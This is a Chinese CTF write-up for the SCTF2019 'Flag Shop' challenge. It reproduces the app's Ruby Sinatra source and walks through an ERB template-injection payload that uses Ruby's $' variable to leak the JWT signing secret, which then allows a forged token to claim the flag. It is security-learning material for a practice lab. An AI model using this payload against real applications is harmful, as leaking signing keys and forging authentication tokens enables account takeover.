0x00
前言 这次学习了JWT
和Ruby
模板注入。因为当初没有写过有关JWT
和Ruby
的文章,在此记录。
0x01
探测 刚进入题目就是一个一直刷新的界面,看得人生理性的不适。抓包看了一下也没看出什么名堂,丢进扫描器不一会就扫出了一个robots.txt
。发现了一个/filebak
,一进去就是源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 require 'sinatra' require 'sinatra/cookies' require 'sinatra/json' require 'jwt' require 'securerandom' require 'erb' set :public_folder , File.dirname(__FILE__ ) + '/static' FLAGPRICE = 1000000000000000000000000000 ENV["SECRET" ] = SecureRandom.hex(64 ) configure do enable :logging file = File.new(File.dirname(__FILE__ ) + '/../log/http.log' ,"a+" ) file.sync = true use Rack::CommonLogger, file end get "/" do redirect '/shop' , 302 end get "/filebak" do content_type :text erb IO.binread __FILE__ end get "/api/auth" do payload = { uid: SecureRandom.uuid , jkl: 20 } auth = JWT.encode payload,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth end get "/api/info" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } json({uid: auth[0 ]["uid" ],jkl: auth[0 ]["jkl" ]}) end get "/shop" do erb :shop end get "/work" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } auth = auth[0 ] unless params[:SECRET ].nil ? if ENV["SECRET" ].match("#{params[:SECRET ].match(/[0-9a-z]+/ )} " ) puts ENV["FLAG" ] end end if params[:do ] == "#{params[:name ][0 ,7 ]} is working" then auth["jkl" ] = auth["jkl" ].to_i + SecureRandom.random_number(10 ) auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth ERB::new("<script>alert('#{params[:name ][0 ,7 ]} working successfully!')</script>" ).result end end post "/shop" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } if auth[0 ]["jkl" ] < FLAGPRICE then json({title: "error" ,message: "no enough jkl" }) else auth << {flag: ENV["FLAG" ]} auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth json({title: "success" ,message: "jkl is good thing" }) end end def islogin if cookies[:auth ].nil ? then redirect to('/shop' ) end end
0x02
分析 有一说一,这源码我是看不懂的,但是毕竟学过几种语言,勉强理解它的意思还是可以做到的。分析就不瞎分析了,免得误导别人。我们直接来看flag
的获取条件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 post "/shop" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } if auth[0 ]["jkl" ] < FLAGPRICE then json({title: "error" ,message: "no enough jkl" }) else auth << {flag: ENV["FLAG" ]} auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth json({title: "success" ,message: "jkl is good thing" }) end end
其实猜也猜得到,首先我们要登录,然后让我们账号的jkl
值大于1000000000000000000000000000
才能拿到flag
。当然这里我们先看一下登录机制。
1 2 3 4 5 def islogin if cookies[:auth ].nil ? then redirect to('/shop' ) end end
结合上面的代码我们可以看出auth
是JWT
。然后继续看发现访问/api/auth
可以获得JWT
。至于为什么会无限的刷新,就是因为这个islogin
会一直检测我们是否有auth
。没有就会跳转。熟悉JWT
的同学应该都知道JWT
中最重要的就是SECRET_KEY
,有了SECRET_KEY
我们完全可以伪造JWT
。源码中也说了,这里的SECRET
是随机生成的一个。我也尝试了爆破,但是爆到我做完题目都没爆破出来。所以爆破是异想天开。那么有什么办法可以获取到SECRET
呢?
到这里我就不会了,只能看着WriteUp
来做。WriteUp
说这里存在Erb
模板注入。
先说一下Erb
模板注入的<%=%>
至少要五个字符,所以我们能控制的只有两个字符而已。我懂了quq
。
这里需要用到Ruby
语言的一个特性。我们可以利用$'
来返回正则匹配结果的右边。举个例子:
1 2 3 4 5 6 7 8 >> "There were once ten tin robots standing in a row." =~ /robot/ => 24 >> $'=> "s standing in a row." => "ro" => nil
想要了解更多的特性请看文档:https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html。
而我们注意上面的if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
。这里直接拿环境里的SECRET
和你输入做正则匹配,而如果我们输入的是SECRET=
那么是不是一个字符都没有匹配呢?答案是肯定的,这时候我们的$'
其实就是ENV['SECRET']
了,因为没有匹配的话默认整个字符串都是匹配结果右侧的。
继续读源码我们可以发现,这里是可以直接回显<%=$'%>
的,通过使用name=<%=$'%>&do=<%=$'%> is working
。
所以我们可以构造出下面的Payload
:
1 /work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
但是先别急,你用上面的Payload
肯定是跑不出来的,因为这个Payload
中含有特殊字符,我说过很多次了,使用GET
方式传变量时,只要不是题目刻意设置url
编码的问题,先urlencode
一遍总是没什么大错的,反而很有可能帮你避免一些问题。这题就是这样,那么我们写最终Payload
吧:
1 /work?SECRET=&name=%3C%25%3D$'%25%3E&do=%3C%25%3D$'%25%3E%20is%20working
成功跑出SECRET
:
拿我们好用的工具来伪造JWT
。这里我推荐直接在官网 伪造。
抓包,发包(记得改为POST
方式)
把JWT
解码就是flag
了。
其实还有一种获得SECRET
的方法就是按位爆破。不过方法有点麻烦了,有兴趣的可以看下面的链接。
0x03
结语 感觉这一篇可以发到blog
去。。嗯~~,那就发吧。如果有大佬看出我的问题,可以联系我修改,提前感谢。
QQ:550532788
也欢迎加我QQ
来找我玩的QwQ
。毕竟一个人的Web
真的好无聊。
0x04
参考题目名称:[SCTF2019]Flag Shop
题目WP:
https://www.jianshu.com/p/c1c9b6d1e826
https://blog.csdn.net/a3320315/article/details/104265742?depth_1-utm_source=distribute.pc_relevant_right.none-task-blog-BlogCommendFromBaidu-1&utm_source=distribute.pc_relevant_right.none-task-blog-BlogCommendFromBaidu-1
复现平台:https://buuoj.cn/